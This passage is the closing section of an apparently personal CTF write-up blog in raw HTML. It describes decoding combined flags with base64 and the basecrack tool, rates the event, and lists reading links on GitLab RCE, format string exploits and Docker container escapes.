541FINAL CHALLENGE</h1> 542 543<p>Final challenge was a bit cringe. Personal view, no offence. so task was to combine all the flags and decode it. <code class="language-plaintext highlighter-rouge">base64 -d</code> command didnât work for me(It did work but it was outputing invalid base64, so i though i might be doing it wrong). I was preety frustrated. There were enough hints directing it towards base64. <code class="language-plaintext highlighter-rouge">Lower your base</code>, <code class="language-plaintext highlighter-rouge">number 6</code>. It was enough. I thought it might be some other base encoding, could be base58 or anything. So i checked if there is any tool that auto detects and decodes for me. Quick google shows <code class="language-plaintext highlighter-rouge">basecrack</code>.So i grabbed the <code class="language-plaintext highlighter-rouge">basecrack</code> tool.</p> 544 545<p><img src="/images/base_crack.png" alt="" /></p> 546 547<h1 id="final-words">FINAL WORDS</h1> 548 549<p>CTF was really exciting and i had real fun. It was overall a roller coaster ride. I would like to rate it 8.5/10 (Yeah i know, itâs not a movie. I have a habit of rating pretty much everything). Regarding the writeup itâs not possible to explain each and every process. There is no way someone can mention all their thought process, troubleshooting and frustration. Some of the Vulnerability were very technical. Like format string, container escape and gitlab rce which requires complete separete writeup.</p> 550 551<p>My lovely readers if you have reached this far then i would rate 10/10 for your reading skills. Ofcourse same score for your patience level.</p> 552 553<p>Donât tell my you directly jumped here. If then, here is your score: 10/â.</p> 554 555<h1 id="resource-section">Resource Section</h1> 556<h3 id="gitlab-rce-httpswwwyoutubecomwatchvlrljuyadoag">Gitlab RCE: https://www.youtube.com/watch?v=LrLJuyAdoAg</h3> 557<h3 id="format-string-httpscodearcanacomposts20130502introduction-to-format-string-exploitshtml">Format String: https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html</h3> 558<h3 id="docker-escape-httpsblogtrailofbitscom20190719understanding-docker-container-escapes">Docker Escape: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/</h3> 559<h3 id="twitter-api-docs-httpsdevelopertwittercomendocs">Twitter API Docs: https://developer.twitter.com/en/docs</h3> 560 561 562 563 <footer class="site-footer"> 564 565 </footer> 566 </main> 567 </body> 568</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.